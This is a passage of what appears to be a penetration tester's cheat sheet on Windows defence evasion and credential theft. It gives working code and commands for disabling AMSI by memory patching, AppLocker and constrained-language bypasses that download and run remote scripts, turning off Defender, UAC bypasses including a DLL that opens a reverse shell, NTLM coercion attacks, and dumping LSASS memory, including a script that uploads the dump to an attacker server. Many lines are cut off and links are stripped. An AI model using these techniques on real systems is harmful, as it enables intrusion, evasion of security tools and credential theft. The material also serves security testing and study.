6. Add [DllExport] attribute before the Main function.

7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
8. Build the solution as Release x64 DLL assembly.
9. (Optional) Obfuscate the assembly with something like Confuser.

DllExport Configuration

The resulting DLL will be placed in .\bin\x64\Release\x64\ directory.

Author's note: I’m not sure why it requires so much finessing, but I’m open to any optimizations or
explanations if anyone knows. Specifically, only the DLL in the \x64\ directory will work, for
some reason the one that’s under \Release\ does not contain the entrypoint that should be
generated by [DllExport] , even though it’s built at the same time as the one in \x64\ .
AMSI Bypass
Antimalware Scan Interface

[Link]

[Link]

[Link]

[Link]

[Link]
[Link]
[Link]

[Link]

[Link]
[Link]

AMSI Test Sample:

PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"

PowerShell

Evil-WinRM + IEX

*Evil-WinRM* PS > menu


*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > IEX([[Link]]::new().DownloadString("[Link]

Wipe amsiContext

amsiContext.ps1
$a = [Ref].[Link]()
ForEach($b in $a) {if ($[Link] -like "*iUtils") {$c = $b}}
$d = $[Link]('NonPublic,Static')
ForEach($e in $d) {if ($[Link] -like "*Context") {$f = $e}}
$g = $[Link]($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[[Link]]::Copy($buf, 0, $ptr, 1)

Set amsiInitFailed

By Matt Graeber in 2016:

amsiInitFailed.ps1
$a = [Ref].[Link]()
ForEach($b in $a) {if ($[Link] -like "*iUtils") {$c = $b}}
$d = $[Link]('NonPublic,Static')
ForEach($e in $d) {if ($[Link] -like "*Failed") {$f = $e}}
$[Link]($null,$true)

Obfuscated:

[Link]

amsiInitFailed-obf.ps1
$A="5492868772801748688168747280728187173688878280688776";$B="82811736808676568776798668808676

Patch AmsiScanBuffer

[Link]
[Link]

[Link]
rasta-mouse

[Link]/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-
[Link]
[Link]

Re-implementing the method with reflective PowerShell:

amsiScanBuffer.ps1
function lookupFunc {
Param ($moduleName, $funcName)

$assem = ([AppDomain]::[Link]() | ? { $_.GlobalAssemblyCache -And $_


$tmp = @()
$[Link]() | % {If($_.Name -eq 'GetProcAddress') {$tmp += $_}}
return $tmp[0].Invoke($null, @(($[Link]('GetModuleHandle')).Invoke($null, @($modu
}
function
ParamgetDelegateType
( {

[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,


[Parameter(Position=1)][Type] $retType = [Void]
)

$type = [AppDomain]::[Link]((New-Object [Link]


$[Link]('RTSpecialName, HideBySig, Public', [[Link]
$[Link]('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes)
return $[Link]()
}

[IntPtr]$asb = lookupFunc [Link] ("Ams"+"iS"+"can"+"Buf"+"fer")


$oldProtect = 0
$vp = [[Link]]::GetDelegateForFunctionPointer((lookupFunc kern
$[Link]($asb, [uint32]6, 0x40, [ref]$oldProtect)
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[[Link]]::Copy($patch, 0, $asb, 6)
$[Link]($asb, [uint32]6, 0x20, [ref]$oldProtect)

AmsiScanBuffer Usage Example

beforeAndAfterPatch.ps1
using System;
using [Link];
using [Link];

namespace ConsoleApp
{
class Program
{

static IntPtr _amsiContext;


static IntPtr _amsiSession;

static void Main(string[] args)


{
uint result;

// Initialize the AMSI API.


result = AmsiInitialize("Demo App", out _amsiContext);

// Opens a session within which multiple scan requests can be correlated.


result = AmsiOpenSession(_amsiContext, out _amsiSession);

// Test sample
//var sample = [Link](@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD
var sample = [Link](@"C:\Tools\Rubeus\Rubeus\bin\Debug\[Link]");

// Send sample to AMSI


var amsiResult = ScanBuffer(sample);
[Link]($"Before patch: {amsiResult}");

var modules = [Link]().Modules;


var hAmsi = [Link];

foreach (ProcessModule module in modules)


{
if ([Link]("[Link]"))
{
hAmsi = [Link];
break;
}
}

var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

// Make region writable (0x40 == PAGE_EXECUTE_READWRITE)


VirtualProtect(asb, (UIntPtr)[Link], 0x40, out uint oldProtect);

// Copy patch into asb region


[Link](patch, 0, asb, [Link]);

// Restore asb memory permissions


VirtualProtect(asb, (UIntPtr)[Link], oldProtect, out uint _);

// Scan same sample again


amsiResult = ScanBuffer(sample); [Link]($"After patch: {amsiResult}");
}

static string ScanBuffer(byte[] sample)


{

var result = AmsiScanBuffer( _amsiContext, sample, (uint)[Link], "Demo Samp


return amsiResult >= 32768 ? "AMSI_RESULT_DETECTED" : "AMSI_RESULT_NOT_DETECTED";
}

[DllImport("[Link]")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("[Link]")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect

[DllImport("[Link]")]
static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

[DllImport("[Link]")]
static extern uint AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

// The antimalware provider may return a result between 1 and 32767, inclusive, as an
// The larger the result, the riskier it is to continue with the content.
// Any return result equal to or larger than 32768 is considered malware, and the cont
[DllImport("[Link]")]
static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, stri
}
}

Patch AmsiOpenSession

amsiOpenSession.ps1
function lookupFunc {
Param ($moduleName, $funcName)

$assem = ([AppDomain]::[Link]() | ? { $_.GlobalAssemblyCache -And $_


$tmp = @()
$[Link]() | % {If($_.Name -eq "GetProcAddress") {$tmp += $_}}
return $tmp[0].Invoke($null, @(($[Link]('GetModuleHandle')).Invoke($null, @($modu
}

function getDelegateType {
Param (
[Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes,
[Parameter(Position=1)][Type] $retType = [Void]
)

$type = [AppDomain]::[Link]((New-Object [Link]


$[Link]('RTSpecialName, HideBySig, Public', [[Link]
$[Link]('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes)
return $[Link]()
}

[IntPtr]$funcAddr = lookupFunc [Link] AmsiOpenSession


$oldProtection = 0

$vp = [[Link]]::GetDelegateForFunctionPointer((lookupFunc kern


$[Link]($funcAddr, 3, 0x40, [ref]$oldProtection)
$buf = [Byte[]] (0x48, 0x31, 0xC0)
[[Link]]::Copy($buf, 0, $funcAddr, 3)
$[Link]($funcAddr, 3, 0x20, [ref]$oldProtection)

Patch AMSI Provider

[Link]
techniques-and-introducing-a-new-one-26120

[Link]
[Link]
[Link]
mpoavdll
[Link]
List registered AMSI Providers (same as AMSIProviders):

$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name


foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32"

Jscript

AmsiEnable Registry Key

Set the HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable registry key to


0 and run the evil script:

[Link]
var sh = new ActiveXObject('[Link]');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var AmsiEnable = [Link](key);
if (AmsiEnable != 0) {
throw new Error(1, '');
}
} catch(e) {
[Link](key, 0, "REG_DWORD");
[Link]("cscript -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}" + [Link], 0
[Link](key, 1, "REG_DWORD");
[Link](1);
}

<EVIL_SCRIPT_CONTENTS>
...

Rename [Link]

Copy C:\Windows\System32\[Link] binary to a different location and rename in to


[Link] in order to prevent loading the real [Link] :

[Link]
var filesys= new ActiveXObject("[Link]");
var sh = new ActiveXObject('[Link]');
try {
if([Link]("C:\\Windows\\Tasks\\[Link]") == 0) {
throw new Error(1, '');
}
} catch(e) {
[Link]("C:\\Windows\\System32\\[Link]", "C:\\Windows\\Tasks\\[Link]")

[Link]("C:\\Windows\\Tasks\\[Link]
[Link](1); -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58}"+WScri
}
<EVIL_SCRIPT_CONTENTS>
...

Application Whitelist Bypass

[Link]
whitelisting-rules/

[Link]

AppLocker Bypass

AppLocker Bypass

[Link]
[Link]
[Link]

[Link]

Enumeration

Check if there are any AppLocker rules:

PS > Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

InstallUtil

A combination of AppLocker and CLM bypass:

[Link]
using System;
using [Link];
using [Link];
using [Link];

namespace BypassCLM
{
class Program
{
static void Main(string[] args)
{
[Link]("These aren't the droids you're looking for.");
}
}

[[Link](true)]
public class Sample : [Link]
{
public override void Uninstall([Link] savedState)
{
string cmd = "IEX(New-Object [Link]).DownloadString('[Link]
Runspace rs = [Link]();
[Link]();
PowerShell ps = [Link]();
[Link] = rs;
[Link](cmd);
[Link]();
[Link]();
}
}
}

Add a reference for the [Link] assembly before compilation


from path:

C:\Windows\assembly\GAC_MSIL\[Link]\1.0.0.0__31bf3856ad364e35

Upload and execute:

Attacker > certutil -encode C:\Users\snovvcrash\[Link] [Link]


Victim > bitsadmin /Transfer myJob [Link] C:\Windows\System32\spool\dri
Victim > certutil -decode C:\Windows\System32\spool\drivers\color\[Link] C:\Windows\System
Victim > C:\Windows\[Link]\Framework64\v4.0.30319\[Link] /logfile= /LogToConso

[Link]

PS > C:\Windows\[Link]\Framework\v4.0.30319\[Link] [Link] pa

[Link]
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="[Link] xmlns="[Link]
<files xmlns:d2p1="[Link]
<d2p1:string>[Link]</d2p1:string>
</files>
<parameters xmlns:d2p1="[Link]
<assemblyNames xmlns:
<compilerOptions d3p1="[Link]
i:nil="true" xmlns="h
xmlns="[Link]
<coreAssemblyFileName xmlns="[Link]
<embeddedResources xmlns:d3p1="[Link] xmln
<evidence xmlns:d3p1="[Link] i:nil="t
<generateExecutable xmlns="[Link]
<generateInMemory xmlns="[Link]
<includeDebugInformation xmlns="[Link]
<linkedResources xmlns:d3p1="[Link] xmlns=
<mainClass i:nil="true" xmlns="[Link]
<outputName xmlns="[Link]
<tempFiles i:nil="true" xmlns="[Link]
<treatWarningsAsErrors xmlns="[Link]
<warningLevel xmlns="[Link]
<win32Resource i:nil="true" xmlns="[Link]
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="[Link] i:ni
<d2p1:localAssembly xmlns:d3p1="[Link] i:n
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="[Link] i:nil="
</parameters>
</CompilerInput>

[Link]
using System;
using [Link];
using [Link];

public class Foo : SequentialWorkflowActivity {


public Foo() {
Process process = new Process();
// Configure the process using the StartInfo properties.
[Link] = "[Link]";

[Link] = "-WindowStyle Hidden -NoP -NoLogo -exec Bypass -enc <B


[Link] = [Link];
[Link]();
[Link]();
}
}

MSBuild

[Link]

JScript and MSHTA


Full path to .hta file is required:

Cmd > [Link] \users\snovvcrash\[Link]


Cmd > [Link] [Link]

[Link]
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("[Link]");
var res = [Link]("[Link]");
</script>
</head>
<body>
<script language="JScript">
[Link]();
</script>
</body>
</html>

WMIC

Cmd > wmic os get /format:"[Link]"


Cmd > wmic process get brief /format:"[Link]

[Link]
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="[Link]
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="[Link]
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("[Link]");
[Link]("[Link] -WindowStyle Hidden -NoP -NoLogo -exec Bypass -e
]]>
</ms:script>
</stylesheet>

CLM Bypass
PowerShell Constrained Language Mode

[Link]

Recon
Check PowerShell language mode:

PS > $[Link]

In-place functions:

PS > whoami
The term '[Link]' is not recognized as the name of cmdlet...
PS > &{ whoami }
megacorp\snovvcrash

Tools

[Link]
[Link]

Defender
Microsoft Defender

Add path to exclusions:

PS > $mimi = "C:\Users\snovvcrash\music\mimi\x64\[Link]"


PS > Add-MpPreference -ExclusionPath $mimi -AttackSurfaceReductionOnlyExclusions $mimi

Download stager without triggering Defender to scan it:

PS > .\[Link] -DownloadFile -Url [Link] -Path C:\Users\snovvcrash\musi

Coerce the victim machine to reach the attacker (to steal Net-NTLM):

Cmd > C:\PROGRA~1\WINDOW~1\[Link] -Scan -ScanType 3 -File '\\[Link]\share\file'


Disable Defender

[Link]

[Link]

[Link]

[Link]
[Link]

[Link]
[Link] > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Real-
time Protection > Turn off real-time protection > Enabled ✔
[Link] > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Turn
off Microsoft Defender Antivirus > Enabled ✔

Disable real-time protection (proactive):

PS > Set-MpPreference -DisableRealTimeMonitoring $true

Disable scanning all downloaded files and attachments, disable AMSI (reactive):

PS > Set-MpPreference -DisableIOAVProtection $true

Remove signatures (if Internet connection is present, they will be downloaded again):

PS > cd "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0"


PS > .\[Link] -RemoveDefinitions -All
Or
Cmd > "%PROGRAMFILES%\Windows Defender\[Link]" -RemoveDefinitions -All

Lower Token Integrity

[Link]
fun-and-profit/article/

[Link]
[Link]
[Link]
ETW Block
Event Tracing for Windows

[Link]

Disable PSEtwLogProvider

[Link]

[[Link]]::LoadWithPartialName('[Link]').GetType('[Link]

Patch EtwEventWrite

[Link]
[Link]

Execution Policy Bypass

[Link]

[Link]

KIS / KES
Kaspersy Internet Security (KIS) / Kaspersky Endpoint Security (KES)

[Link]
unauthorized-manner-(revisited).pdf

Scan Exclusions
Potential scan exclusions:
C:\Windows\System32\LogFiles\
C:\Windows\System32\inetsrv\

C:\Windows\ClusterStorage\

C:\ProgramData\Microsoft\Windows\Hyper-V\

Stop Service
Check if KES Self-Defense is enabled:

PS > (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\protected\KES\settings"

Check if KES external management of system services is allowed:

PS > (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\KasperskyLab\protected\KES\settings"

If EnableSelfProtection is 0 and AllowServiceStop is 1, then it's possible to manipulates KES


application from the command line via [Link]:

Cmd > cd "C:\Program Files (x86)\Kaspersky Lab\Kaspersky Endpoint Security for Windows"
Cmd > [Link] stop_avp_service
Cmd > [Link] start_avp_service

Mimikatz

[Link]
[Link]

[Link]

[Link]
[Link]

Obfuscate Mimikatz

[Link]
[Link]
Invoke-Mimikatz

[Link]
reflectivedllinjection-ps1/

Update .ps1

[Link]

Update the Invoke-Mimikatz.ps1 PowerShell script:

1. Grab source code zip from the latest (or any one you want) release of Mimikatz.

2. Open the solution in Visual Studio.


3. Select the Second_Release_PowerShell target option and compile for Win32 .

4. Right-click on mimikatz solution > Properties > C/C++ > Set Treat warnings as errors to No
(/WX-) > OK.

5. Compile for x64 .

6. Transform the resulting powerkatz DLLs to base64 and replace the $PEBytes32 and
$PEBytes64 vars at the bottom of Invoke-Mimikatz.ps1 with a PowerShell script below.

Update-InvokeMimikatz.ps1
$powerkatz32 = [[Link]]::ReadAllBytes("Win32\[Link]")
$powerkatz64 = [[Link]]::ReadAllBytes("x64\[Link]")
$encPowerkatz32 = [[Link]]::ToBase64String($powerkatz32)
$encPowerkatz64 = [[Link]]::ToBase64String($powerkatz64)
$invokeMimikatz = (New-Object [Link]).DownloadString("[Link]

$invokeMimikatz -replace '\$PEBytes64 = .*$', ('$PEBytes64 = ' + "'$encPowerkatz64'") > Invoke

UAC Bypass
User Account Control

[Link]

Enumeration
Check current token privileges and UAC settings with Seatbelt:
PS > .\[Link] TokenPrivileges UAC

[Link]
[Link] DLL hijacking.

[Link]

HackTheBox - Arkham

srrstr.c

// i686-w64-mingw32-g++ srrstr.c -lws2_32 -o [Link] -shared

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {


switch(dwReason) {
case DLL_PROCESS_ATTACH:
WinExec("C:\\Users\\<USERNAME>\\Documents\\[Link] [Link] 1337 -e
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

return 0;
}

Upload [Link] to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\


and check it:

PS > [Link] [Link],xyz

Exec and get a shell ("requires an interactive window station"):

PS > cmd /c C:\Windows\SysWOW64\[Link]

[Link]

[Link]/research/2018/10/31/[Link]
[Link]

Compile from source, load and execute:

PS > Add-Type -TypeDefinition ([[Link]]::ReadAllText("$pwd\[Link]")) -ReferencedAssemblies


PS > [[Link]]::Load([[Link]]::ReadAllBytes("$pwd\[Link]"))
PS > [CMSTPBypass]::Execute("C:\Windows\System32\[Link]")

Load from a weaponized PowerShell and execute:

PS > Bypass-UAC -C "C:\Windows\System32\[Link]"

fodhelper

[Link]

Create and set registry values (the payload is generated with [Link] ):

PS > New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force


PS > New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "Del
PS > Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(de

Trigger [Link] :

PS > Start-Process "C:\Windows\System32\[Link]" -WindowStyle Hidden


Cleanup:

PS > Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Another way to do it with a script (hijacking PowerShell executable):

fod.ps1
function Fod {
$cmd = "C:\Windows\Tasks\[Link] -enc <BASE64_CMD>"

copy C:\Windows\system32\WindowsPowerShell\v1.0\[Link] C:\Windows\Tasks\[Link]
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "Dele
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(def

Start-Process "C:\Windows\System32\[Link]" -WindowStyle Hidden
Start-Sleep -s 3

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyCon
}

The same thing with ProgID abuse:

fod-ng.ps1
function FodNG {
Param (
[String]$cmd = "C:\Windows\system32\WindowsPowerShell\v1.0\[Link] -WindowStyle
)

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction Silentl

New-Item "HKCU:\Software\Classes\.snovvcrash\Shell\Open\command" -Force


New-ItemProperty -Path "HKCU:\Software\Classes\.snovvcrash\Shell\Open\command" -Name "
Set-ItemProperty "HKCU:\Software\Classes\.snovvcrash\Shell\Open\command" -Name "(default)"

New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".s

Start-Process "C:\Windows\System32\[Link]" -WindowStyle Hidden
Start-Sleep 3

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Remove-Item "HKCU:\Software\Classes\.snovvcrash\" -Recurse -Force
}
SilentCleanup

[Link]
evading-av/

[Link]

SCM UAC Bypass

[Link]
[Link]

Tricks
Bypass UAC for file read/write:

Cmd > net use A: \\[Link]\C$


Cmd > A:
Cmd > cd \Windows\System32
Cmd > echo test > [Link]
Cmd > dir [Link]

Authentication Coercion

[Link]

[Link]

It's a good idea to check if NTLMv1 downgrade is possible when triggering the callbacks.

NTLMv1 Downgrade
Pi t B (MS RPRN)
[Link]
[Link]

Check if Spooler is running via Remote Registry:

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] | grep -A2 -e MS-RPRN -e MS-PAR

SpoolSample

[Link]

[Link]
Spoolsample.ps1

[Link]
[Link]

Cmd > .\[Link] [Link] [Link]


Cmd > .\[Link] [Link] attacker@80/[Link]
Cmd > .\[Link] [Link] attacker@SSL/[Link]

[Link]

[Link]

$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' [Link] [Link]


$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' attacker@80/[Link] DC01
$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' attacker@SSL/[Link] DC01

[Link]

[Link]

$ python [Link] [Link]/snovvcrash:'Passw0rd!'@[Link] [Link]


$ python [Link] [Link]/snovvcrash:'Passw0rd!'@[Link] attacker@80/t
$ python [Link] [Link]/snovvcrash:'Passw0rd!'@[Link] attacker@SSL/

PetitPotam (MS-EFSR)
CVE-2021-36942
[Link]

[Link]

[Link]

[Link]

$ python3 [Link] -d '' -u '' -p '' [Link] [Link]


$ python3 [Link] -d '' -u '' -p '' attacker@80/[Link] [Link]
$ python3 [Link] -d '' -u '' -p '' attacker@SSL/[Link] [Link]
Cmd > .\[Link] [Link] [Link] 1
Cmd > .\[Link] attacker@80/[Link] [Link] 1
Cmd > .\[Link] attacker@SSL/[Link] [Link] 1

PetitPotam any host (not only a DC with null sessions allowed for the IPC$ share) without initial creds via
proxying through an authenticated session on behalf a DC-relayed machine account:

$ python3 [Link] -d '' -u '' -p '' [Link] [Link]


Something went wrong, check error status => SMB SessionError: STATUS_ACCESS_DENIED({Access Den

$ sudo [Link] -ip [Link] -t [Link] -smb2support --no-http-server --no-wcf-s

$ python3 [Link] -d '' -u '' -p '' [Link] [Link]


ntlmrelayx> socks
ntlmrelayx> stopservers

$ sudo ./[Link] -I eth0 -vA


$ proxychains4 python3 [Link] -d MEGACORP -u 'DC1$' -no-pass [Link] [Link]

NTLM Relay DC1 to EXCH1 to get SOCKS ➡️SOCKS proxy PetitPotam to EX1 as DC1$ ➡️
NTLM Relay to EXCH2 to dump hashes

With Kerberos authentication:

$ [Link] [Link]/snovvcrash -hashes e929e69f7c290222be87968263a9282e:e929e69f7c29022


$ KRB5CCNAME=`pwd`/[Link] python3 [Link] -k -no-pass -d [Link] -u sn

Theory

[Link]
[Link]
[Link]
[Link]
[Link]

Mitigation

[Link]

[Link]

[Link]

ShadowCoerce (MS-FSRVP)

[Link]
[Link]

$ python3 [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' [Link] 192.168.1

WebDAV (WebClient)

[Link]
[Link]

Check if callback via WebDAV (HTTP) is possible. It is when the WebClient service is running. If it's
possible, then NTLM Relay to LDAPS on behalf of the relayed machine account is your chance for RBCD
workstation takeover.

Check via PowerShell:

PS > Install-Module -Name NtObjectManager


PS > Get-NtFile -Win32Path '\\[Link]\pipe\DAV RPC SERVICE'

Check via CME:

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' -M webdav

Check via GetWebDAVStatus:

PS > .\[Link] SRV01,SRV02 --tc 1

Enable WebClient
Put the .searchConnector-ms file on a writable share. When a domain user opens target folder in
explorer, the WebClient service should start automatically:

[Link]-ms
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="[Link]
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>[Link]
</simpleLocation>
</searchConnectorDescription>

Force SMB authentication

[Link]

Forcing with a hidden image:

<img src="\\[Link]\[Link]" height="1" width="1" />

Forcing with a shortcut:

lnk.ps1
$wsh = New-Object -ComObject [Link]
$lnk = $[Link]("\\SRV01\PublicShare\[Link]")
$[Link] = "\\[Link]\[Link]"
$[Link]()

Azure

ADSync

[Link]
[Link]
PS > Azure-ADConnect -server [Link] -db ADSync

Credentials Dump

Tools

SessionGopher

[Link]

PS > Invoke-SessionGopher -Thorough

Gopher

[Link]

LaZagne

[Link]

Cmd > .\[Link] all [-v]


Cmd > .\[Link] windows [-v]

From Memory

[Link]
Local Security Authority Subsystem Service

[Link]

Enumeration

[Link]
subsystem-service-lsass/

Check if [Link] is ran as a protected process (PPL):

PS > Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

MiniDumpWriteDump

Custom Implementations

[Link]
[Link]

[Link]

MiniDump Callbacks

[Link]
passwords-without-mimikatz-minidumpwritedump-av-signature-bypass#minidumpwritedump-to-
memory-using-minidump-callbacks

[Link]

C# Implementation

[Link]

[Link]
using System;
using [Link];
using [Link];
using [Link];

namespace SharpMiniDump
{
public class Program
{
[DllImport("[Link]")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int

[DllImport("[Link]")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

public static void Main(string[] args)


{
FileStream dumpFile = new FileStream(@"C:\Windows\tasks\[Link]", [Link]

Process[] lsassProc = [Link]("lsass");


int lsassPid = lsassProc[0].Id;

IntPtr hProcess = OpenProcess(


0x001F0FFF, // PROCESS_ALL_ACCESS
false,
lsassPid);

bool res = MiniDumpWriteDump(


hProcess,
lsassPid,
[Link](),
2, // MiniDumpWithFullMemory
[Link],
[Link],
[Link]);
}
}
}

Reusing Open Handles

[Link]
[Link]

pypykatz

[Link]

Cmd > .\[Link] live lsa --method handledup

SharpHandler

[Link]
[Link]
SharpHandler.ps1

Scan if there are dupeable handles to use:

PS > Invoke-SharpHandler -C "-s"

Write a gzip-compressed minidump to specified location:


PS > Invoke-SharpHandler -C "-w -c -l=C:\Windows\Temp\[Link]"

Dump and parse with SharpKatz's logonpasswords :

PS > Invoke-SharpHandler -C "-d"

HandleKatz

[Link]

$ x86_64-w64-mingw32-gcc -o [Link] [Link] -lcrypt32


Cmd > .\[Link] --pid:852 --outfil[Link]\Windows\Temp\[Link]

Silent Process Exit

[Link]
[Link]
[Link]

[Link]

[Link]

Remove PPL Protection

[Link]
[Link]
[Link]
[Link]

[Link]
[Link]
[Link]
f4c7dfe63387
[Link]

Using Mimikatz driver:


PS > cmd /c sc create mimidrv binPath= C:\Windows\Tasks\[Link] type= kernel start= demand
PS > cmd /c sc start mimidrv
PS > Invoke-Mimikatz -Command '"!processprotect /process:[Link] /remove" "exit"'

Load SSP

[Link]

[Link]

[Link]

MirrorDump

[Link]
[Link]

Cmd > .\[Link] -f "[Link]" -d "[Link]" -l 1073741824


Cmd > .\[Link] --parse

$ python3 [Link] [Link] 31337 --md5 --parse


Cmd > .\[Link] --host [Link] --port 31337

DuplicateDump

[Link]

nanodump

[Link]
[Link]

Cmd > .\load_ssp.[Link] C:\Windows\Temp\nanodump_ssp.[Link]


beacon> load_ssp

Do it automatically with [Link] magic (using this Python HTTP server with PUT support):

nanodump_ssp.[Link]
#!/usr/bin/env bash

# Usage: sudo nanodump_ssp.sh <[DOMAIN\]USERNAME>:<PASSWORD> <TARGET> <LISTENER>


# Example: sudo nanodump_ssp.sh '[Link]\snovvcrash:Passw0rd!' [Link] [Link]
CREDS=$1
RHOST=$2
LHOST=$3
LPORT=$4

CMD="IWR -Uri [Link] -OutFile C:\Windows\Temp\[Link];IWR -Uri [Link]


CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

python3 -m [Link] ${LPORT} &

[Link] -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"


sleep 10

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print
python3 [Link] --bind=[Link] ${LPORT} &

CMD="IWR -Uri [Link] -Method PUT -InFile C:\Windows\Temp\[Link];rm C:\Wi


CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

[Link] -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"


sleep 30

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print

bash restore_signature.sh [Link]


pypykatz lsa minidump [Link]

chown ${SUDO_USER}:${SUDO_USER} [Link]

Bypass Saving on Disk Detection

[Link]
[Link]

NTFS Transactions

TransactedSharpMiniDump

[Link]
bypass-exfil-dmp-file-to-dropbox

[Link]
CredBandit
[Link]
user-community/

[Link]

[Link]

[Link]

Dumpy

[Link]
rc/[Link]#L216-L429

Kernel Mode

[Link]

Abusing Gigabyte Driver

CVE-2018-19320

[Link]
[Link]

[Link]

[Link]
[Link]

Physical Memory

Physmem2profit

[Link]
[Link]
[Link]

Server:
PS > .\[Link] --ip [Link] --port 1337 --verbose [--hidden]

Client:

$ python3 physmem2profit --host [Link] --port 1337 --install "C:/Windows/Temp/winpmem_x6

Credential Guard Bypass


Patch the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variables by their
hardcoded offsets within [Link] loaded by LSASS:

[Link]
[Link]

Resolve g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variable offsets


dynamically at runtime:

[Link]
[Link]

Merged 2 PoCs above:

[Link]

Tools

[Link]

[Link]
from-lsass-process-without-mimikatz#comsvcs-dll

[Link]
[Link]
[Link]

PS > $proc = 'ls'+'Ass'


PS > Get-Process $proc
PS > [Link] C:\Windows\System32\[Link], MiniDump <LSASS_PID> C:\Windows\System32\sp

Not touching the disk (using an SMB share):


PS > net use z: \\[Link]\share
PS > [Link] c:\Windows\System32\[Link], MiniDump (Get-Process ('ls'+'Ass')).id z:\p

One-liner:

Cmd > %COMSPEC% /Q /c echo [Link] -NoP -C "%WINDIR%\System32\[Link] %WINDIR%\Sys

ProcDump

[Link]

[Link]

[Link]

PS > .\[Link] -accepteula -64 -ma [Link] [Link]

